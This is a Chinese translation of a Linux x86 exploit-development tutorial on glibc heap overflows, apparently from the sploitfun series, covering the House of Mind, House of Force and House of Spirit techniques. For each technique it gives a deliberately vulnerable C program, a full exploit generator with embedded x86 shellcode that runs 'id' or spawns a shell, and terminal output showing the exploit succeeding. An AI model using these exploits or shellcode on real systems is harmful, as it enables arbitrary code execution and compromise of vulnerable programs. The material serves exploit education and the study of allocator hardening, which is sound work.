使用 Malloc Maleficarum 的堆溢出

译者：飞龙

原文：Heap overflow using Malloc Maleficarum

预备条件：

理解 glibc malloc

从 2004 年末开始，glibc malloc 变得更可靠了。之后，类似 unlink 的技巧已经废弃，攻击者没有线索。但是在 2005 年末，Phantasmal Phatasmagoria 带来了下面这些技巧，用于成功利用堆溢出。

House of Prime
House of Mind
House of Force
House of Lore
House of Spirit

House of Mind

这个技巧中，攻击者欺骗 glibc malloc 来使用由他伪造的 arena。伪造的 arena 以这种形式构造，unsorted bin 的 fd 包含free的 GOT 条目地址 -12。因此现在当漏洞程序释放某个块的时候，free的 GOT 条目被覆盖为 shellcode 的地址。在成功覆盖 GOT 之后，当漏洞程序调用free，shellcode 就会执行。

预备条件：下面是成功应用 House of Mind 的预备条件，因为不是所有堆溢出漏洞程序都可以使用这个技巧来利用。

在块的地址之前，需要一系列 malloc 调用 – 当对齐到内存区域中HEAP_MAX_SIZE结果的倍数的时候，内存区域由攻击者控制。这是伪造的heap_info结构所在的内存区域。伪造的heap_info的 arena 指针ar_ptr会指向伪造的 arena。因此伪造的 arena 和伪造的heap_info的内存区域都能由攻击者控制。
一个块，它的大小字段（以及它的 arena 指针 – 预备条件 1）由攻击者控制，应该已释放。
上述空闲块的下一个块应该不是 top 块。

漏洞程序：这个程序满足上述预备条件。

/* vuln.c
 House of Mind vulnerable program
 */
#include <stdio.h>
#include <stdlib.h>

int main (void) {
 char *ptr = malloc(1024); /* First allocated chunk */
 char *ptr2; /* Second chunk/Last but one chunk */
 char *ptr3; /* Last chunk */
 int heap = (int)ptr & 0xFFF00000;
 _Bool found = 0;
 int i = 2;

 for (i = 2; i < 1024; i++) {
   /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */
   /* 0x08100000 is the place where fake heap_info structure is found. */
   /* [1] */
   if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
     (heap + 0x100000))) {
     printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
     found = 1;
     break;
   }
 }
 /* [2] */ 
 ptr3 = malloc(1024); /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */
 /* User Input. */
 /* [3] */
 fread (ptr, 1024 * 1024, 1, stdin);

 /* [4] */
 free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */
 /* [5] */
 free(ptr3); /* Shell code execution. */
 return(0); /* Bye */
}

上述漏洞程序的堆内存：

漏洞程序的行[3]是堆溢出发生的地方。用户输入储存在块 1 的mem指针处，大小共计 1MB。所以为了成功利用堆溢出，攻击者提供了下面的用户输入（列出顺序相同）。

伪造的 arena
垃圾数据
伪造的 heap_info
Shellcode

利用程序：这个程序生成了攻击者的数据文件：

/* exp.c
Program to generate attacker data.
Command:
     #./exp > file
*/
#include <stdio.h>

#define BIN1 0xb7fd8430

char scode[] =
/* Shellcode to execute linux command "id". Size - 72 bytes. */
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";

char ret_str[4] = "\x00\x00\x00\x00";

void convert_endianess(int arg)
{
        int i=0;
        ret_str[3] = (arg & 0xFF000000) >> 24;
        ret_str[2] = (arg & 0x00FF0000) >> 16;
        ret_str[1] = (arg & 0x0000FF00) >> 8;
        ret_str[0] = (arg & 0x000000FF) >> 0;
}
int main() {
        int i=0,j=0;

        fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
        fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
        fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
        fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
        /* Fake Arena. */
        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
        fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
        for(i=0;i<10;i++)
                fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
        fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
        for(i=0;i<127;i++) {
                convert_endianess(BIN1+(i*8));
                if(i == 119) {
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
                        fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
                } else if(i==0) {
                        fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
                        fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
                }
                else {
                        fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
                        fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
                }
        }
        for(i=0;i<4;i++) {
                fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
        }
        fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
        fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
        fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
        for(i=0;i<234;i++) {
                fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
        }
        for(i=0;i<722;i++) {
                if(i==721) {
                        /* Chunk 724 contains the shellcode. */
                        fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size  - Jmp 24 bytes */
                        fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
                        fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
                        "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout);  /* NOPS */
                        fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
                        for(j=0;j<230;j++)
                                fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                        continue;
                } else {
                        fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
                        fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
                }
                if(i==720) {
                        for(j=0;j<90;j++)
                                fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                        fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
                        for(j=0;j<165;j++)
                                fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                } else {
                        for(j=0;j<256;j++)
                                fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
                }
        }
        return 0;
}

漏洞程序的堆内存，在攻击者生成数据作为用户输入之后：

在攻击者生成数据作为用户输入之后，glibc malloc 执行下列事情，当漏洞程序的行[4]执行时：

正在释放的堆的 arena 由访问arena_for_chunk获取。
- arena_for_chunk：如果没有设置NON_MAIN_ARENA (N)位，会返回主 arena。如果设置了，会通过将块地址对齐到HEAP_MAX_SIZE的倍数，来访问相应的heap_info结构。之后，获取到的heap_info结构的arena 指针会返回。我们这里，NON_MAIN_ARENA位由攻击者设置，因此会获取正在释放的块的heap_info结构（0x08100000）。攻击者也覆盖了（所获取的heap_info结构的）arena 指针，使其指向伪造的 arena，也就是说，heap_info的ar_ptr等于伪造的 arena 的基址（0x0804a018）。
使用 arena 指针和块地址作为参数调用_int_free。我们这里，arena 指针指向了伪造的 arena。因此伪造的 arena 和块地址作为参数传递给了_int_free。
- 伪造的 arena：下面是伪造区域的受控字段，需要由攻击者覆盖：
  - Mutex - 应该为 unlocked 状态。
  - Bins - unsorted bin 的 fd 应该包含free的 GOT 条目地址。
  - Top - Top 地址应该不等于正在释放的块地址。
  - 系统内存 - 系统内存应该大于下一个块大小。
- _int_free()
  - 如果块不是 mmap 分配的，要获取锁。我们这里块不是 mmap 分配的，伪造的 arena 的互斥锁获取成功。
  - 合并：
    - 查看上一个块是否空闲，如果空闲则合并。我们这里上一个块已分配，所以不能向后合并。
    - 查看下一个块是否空闲，如果空闲则合并。我们这里下一个块已分配，所以不能合并。
  - 将当前空闲块放进 unsorted bin 中。我们这里伪造的 arena 的 unsorted bin 的 fd 包含free的 GOT 条目地址 -12，它被复制给了fwd值。之后，当前空闲快的地址会复制给fwd->bk。bk位于malloc_chunk偏移 12 处，因此， 12 会加到fwd值，也就是free - 12 + 12。所以现在free的 GOT 条目会变为当前空闲块的地址。由于攻击者已经将他的 shellcode 放进当前空闲块了，现在开始，无论何时调用free，攻击者的 shellcode 都会执行。

使用攻击者生成的数据文件，作为用户输入执行漏洞程序会执行 shellcode，像这样：

sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

保护：现在，house of mind 技术不起作用了，因为 glibc malloc 已经变得更加可靠。它添加了下面的检查来防止使用 house of mind 的堆溢出。

块破坏：unsorted bin 的第一个块的bk指针应该指向 unsorted bin。如果不是，glibc malloc 会抛出块破坏错误。
```
if (__glibc_unlikely (fwd->bk != bck))
{
    errstr = "free(): corrupted unsorted chunks";
    goto errout;
}
```

House of Force

这个技巧中，攻击者滥用 top 块的大小，并欺骗 glibc malloc 使用 top 块来服务于一个非常大的内存请求（大于堆系统内存大小）。现在当新的 malloc 请求产生时，free的 GOT 表就会覆盖为 shellcode 地址。因此从现在开始，无论free何时调用，shellcode 都会执行。

预备条件：为了成功应用 house of force，需要下面三个 malloc 调用：

Malloc 1：攻击者应该能够控制 top 块的大小。因此这个分配的块，也就是物理上在 top 块之前的块上，应该能产生堆溢出。
Malloc 2：攻击者应该能够控制 malloc 请求的大小。
Malloc 3：用户输入应该能复制到这个所分配的块中。

漏洞程序：这个程序满足上述要求

/*
House of force vulnerable program. 
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h> 

int main(int argc, char *argv[])
{
        char *buf1, *buf2, *buf3;
        if (argc != 4) {
                printf("Usage Error\n");
                return;
        }
        /* [1] */
        buf1 = malloc(256);
        /* [2] */
        strcpy(buf1, argv[1]); /* Prereq 1 */
        /* [3] */
        buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
        /* [4] */
        buf3 = malloc(256); /* Prereq 3 */
        /* [5] */
        strcpy(buf3, argv[3]); /* Prereq 3 */

        /* [6] */
        free(buf3);
        free(buf2);
        free(buf1);
        return 0;
}

上述漏洞程序的堆内存：

漏洞程序的行[2]是堆溢出发生的地方。因此为了成功利用堆溢出，攻击者需要提供下面的命令行参数：

argv[1] – 需要复制到第一个 malloc 块的 shellcode + 填充 + top 块大小。
argv[2] – 第二个 malloc 块的大小参数。
argv[3] – 复制到第三个 malloc 块的用户输入。

利用程序：

/* Program to exploit executable 'vuln' using hof technique.
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define VULNERABLE "./vuln"
#define FREE_ADDRESS 0x08049858-0x8
#define MALLOC_SIZE "0xFFFFF744"
#define BUF3_USER_INP "\x08\xa0\x04\x08"

/* Spawn a shell. Size - 25 bytes. */
char scode[] =
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main( void )
{       
        int i;
        char * p;
        char argv1[ 265 ];
        char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };

        strcpy(argv1,scode);
        for(i=25;i<260;i++)
                argv1[i] = 'A';

        strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
        argv[264] = ''; /* Terminating NULL character */ 

        /* Execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}

漏洞程序的堆内存，一旦攻击者的命令行参数复制到堆中：

使用攻击者的参数，下面的事情会发生：

行[2]会覆盖 top 块大小：

攻击者的参数（argv[1] – Shellcode + Pad + 0xFFFFFFFF）会复制到堆缓冲区buf1。但是由于argv[1]大于 256，top 块的大小会覆盖为0xFFFFFFFF。

行[3]使用 top 块代码，分配了一个非常大的块。

非常大的块的分配请求发生在分配之后，新的 top 块应该位于free的 GOT 条目之前 8 个字节处。所以另一个 malloc 请求（行[4]）会帮助我们覆盖free的 GOT 地址。
攻击者的参数（argv[2] – 0xFFFFF744)会作为大小参数，传递给第二个 malloc 调用（行[3]）。大小参数使用下面的公式计算：
- size = ((free-8)-top)
- 其中
  - free是可执行文件vuln的 GOT 条目，也就是free = 0x08049858。
  - top是当前 top 块（在第一个 malloc [1]之后），也就是top = 0x0804a108。
- 因此size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748。
- 当size = 0xFFFFF748时，我们的任务，将新的 top 块放置在free的 GOT 条目之前 8 个字节处，像这样完成了：
  - (0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8)
- 但是，当攻击者传递大小参数0xFFFFF748时，glibc malloc 将这个大小转换为可用大小0xFFFFF750。因此，现在新的 top 块大小应该位于0x8049858而不是0x8049850。因此攻击者应该传递0xFFFFF744作为大小参数，而不是0xFFFFF748，因为他会转换为我们所需的可用的大小0xFFFFF748。

在行[4]中：

现在由于行[3]中的 top 块指向0x8049850，一个 256 字节的内存分配请求会使 glibc malloc 返回0x8049858，他会复制到buf3。

在行[5]中：

将buf1的地址复制给buf3，会导致 GOT 覆盖。因此free的调用（行[6]）会导致 shellcode 执行。

使用攻击者的命令行参数执行漏洞程序，会执行 shellcode，像这样：

sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ ./exp 
$ ls
cmd  exp  exp.c  vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$

保护：直到现在，没有添加针对这个技巧的任何保护。这个技巧能帮助我们利用堆溢出，即使它使用最新的 glibc 编译。

House of Spirit

在这个技巧中，攻击者欺骗 glibc malloc 来返回一个块，它位于栈中（而不是堆中）。这允许攻击者覆盖储存在栈中的返回地址。

预备条件：下面是用于成功利用 house of spirit 的预备条件，因为不是所有堆溢出漏洞程序都可以使用这个技巧利用。

一个缓冲区溢出，用于覆盖一个变量，它包含块地址，由 glibc malloc 返回。
上面的块应该是空闲的。攻击者应该能够控制这个空闲块的大小。它以这种方式控制，空闲块的大小等于下一个分配块的大小。
Malloc 一个块。
用户输入应该能够复制到上面所分配的块中。

漏洞程序：这个程序满足上述要求

/* vuln.c
House of Spirit vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void fvuln(char *str1, int age)
{
   char *ptr1, name[44];
   int local_age;
   char *ptr2;
   [1]local_age = age; /* Prereq 2 */

   [2]ptr1 = (char *) malloc(256);
   printf("\nPTR1 = [ %p ]", ptr1);
   [3]strcpy(name, str1); /* Prereq 1 */
   printf("\nPTR1 = [ %p ]\n", ptr1);
   [4]free(ptr1); /* Prereq 2 */

   [5]ptr2 = (char *) malloc(40); /* Prereq 3 */
   [6]snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); /* Prereq 4 */
   printf("\n%s\n", ptr2);
}

int main(int argc, char *argv[])
{
   int i=0;
   int stud_class[10];  /* Required since nextchunk size should lie in between 8 and arena's system_mem. */
   for(i=0;i<10;i++)
        [7]stud_class[i] = 10;
   if (argc == 3)
      fvuln(argv[1], 25);
   return 0;
}

上述漏洞程序的栈布局：

漏洞程序的行[3]是缓冲区溢出发生处。因此为了成功利用漏洞程序，攻击者需要提供下面的命令行参数：

argv[1] = Shell Code + Stack Address + Chunk size

利用程序：

/* Program to exploit executable 'vuln' using hos technique.
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define VULNERABLE "./vuln"

/* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */
char scode[] =
        "\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";

int main( void )
{
        int i;
        char * p;
        char argv1[54];
        char * argv[] = { VULNERABLE, argv1, NULL };

        strcpy(argv1,scode);

        /* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */
        strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30"); 

        argv[53] = '';

        /* Execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}

使用攻击者的参数之后，上述漏洞程序的栈布局：

使用攻击者的参数，让我们看看返回地址如何覆盖。

行[3]：缓冲区溢出

这里攻击者的输入argv[1]复制到了字符缓冲区name中。因为攻击者的输入大于 44，变量ptr1和loacl_age被栈地址和块大小覆盖。
- 栈地址（0xbffffdf0） – 当行[5]执行时，攻击者欺骗 glibc malloc 来返回这个地址。
- 块大小（0x30） – 当行[4]执行时，这个块大小用于欺骗 glibc malloc。

行[4]：将栈区域添加到 glibc malloc 的 fastbin 中。

free()调用了_int_free()。现在在缓冲区溢出之后，ptr1 = 0xbffffdf0（而不是0x804aa08）。被覆盖的ptr1作为参数传递给free。这欺骗 glibc malloc 来释放栈上的内存区域。被释放的这个栈区域的大小，位于ptr1-8+4，被攻击者覆盖为0x30。因此 glibc malloc 将这个块看做 fast 块（因为48 < 64），并将释放得快插入 fast binlist 的前面，位于下标 4。

行[5]：获取（在行[4]添加的）栈区域

malloc 请求 40 由checked_request2size转换为可用大小 48。由于可用代销 48 属于 fast 块，对应的 fast bin（位于下标 4）会被获取。fast binlist 的第一个块被溢出，并返回给用户。第一个块是在行[4]执行过程中添加的栈区域。

行[6]：覆盖返回地址

将攻击者的参数argv[1]复制到栈区域（由 glibc malloc 返回），它从0xbffffdf0位置开始。argv[1]的前 16 个字节是：
- \xeb\x0e：JMP 14 字节。
- \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41：填充。
- \xb8\xfd\xff\xbf：储存在栈上的返回地址会被这个值覆盖。因此在fvuln执行之后，EIP 是0xbffffdb8 – 这个位置包含 JMP 指令，之后是派生 shell 的 shellcode。

使用攻击者的参数执行漏洞程序会执行 shellcode，像这样：

sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -o exp exp.c
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ ./exp 

PTR1 = [ 0x804a008 ]
PTR1 = [ 0xbffffdf0 ]

AAAAAAAAAA����1�Ph//shh/bin��P��S�
$ ls
cmd  exp  exp.c  print  vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$

保护：直到现在，没有添加针对这个技巧的任何保护。这个技巧能帮助我们利用堆溢出，即使它使用最新的 glibc 编译。

House of Prime: TBU

House of Lore: TBU

注意：出于演示目的，所有漏洞程序都不使用下列 Linux 保护机制编译：

ASLR
NX
RELRO（重定向只读）

参考

The Malloc Maleficarum

Linux (x86) Exploit 开发系列教程之十使用 Malloc Maleficarum 的堆溢出

使用 Malloc Maleficarum 的堆溢出

House of Mind

House of Force

House of Spirit

参考

热门文章

最新文章

相关课程

相关电子书

相关实验场景

推荐镜像

Linux (x86) Exploit 开发系列教程之十 使用 Malloc Maleficarum 的堆溢出

使用 Malloc Maleficarum 的堆溢出

House of Mind

House of Force

House of Spirit

参考

热门文章

最新文章

相关课程

相关电子书

相关实验场景

推荐镜像

Linux (x86) Exploit 开发系列教程之十使用 Malloc Maleficarum 的堆溢出